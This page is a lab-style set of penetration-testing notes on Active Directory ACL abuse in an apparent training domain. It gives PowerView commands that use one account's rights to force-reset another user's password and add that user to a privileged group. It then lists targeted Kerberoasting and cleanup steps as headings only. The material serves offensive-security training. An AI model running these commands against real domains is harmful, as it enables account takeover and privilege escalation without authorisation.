githubEdit

ACL Abuse Tactics

  1. First we use wley user to change the password for the damundsen use

  2. Authenticate as the damundsen user and leverage GenericWrite rights to add a user that we control to the Help Desk Level 1 group

  3. Take advantage of nested group membership in the Information Technology group and leverage GenericAll rights to take control of the adunn user

  • Authenticate with valid user - Creating a PSCredential Object

    to tell PowerShell we will work with wley privilege

    $SecPassword = ConvertTo-SecureString 'transporter@4' -AsPlainText -Force
    $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword) 

    then create a SecureString object which represents the new password for user

  • Creating a SecureString Object

    $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
  • changing the user’s password

    Import-Module .\PowerView.ps1
    Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
    
    # damundsenPassword  -> new password object
    # Cred -> wley credintial
    image.png
  • Creating a SecureString Object using exploited user

    $SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
    $Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword) 
  • check a member in this group

    which will display all members in this group

    Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
  • Add member to this group

    Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
    # Cred2 -> damundsen credintial - secure object
  • Confirming user was Added to the Group

    Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName

say that our client permitted us to change the password of the damundsen user, but the adunn user is an admin account that cannot be interrupted.

We can perform a targeted Kerberoasting attack

triangle-exclamation

  • Creating a Fake SPN

  • Kerberoasting with Rubeus


Cleanup

  • Removing the Fake SPN from adunn's Account

  • Removing damundsen from the Help Desk Level 1 Group

  • Confirming damundsen was Removed from the Group

Last updated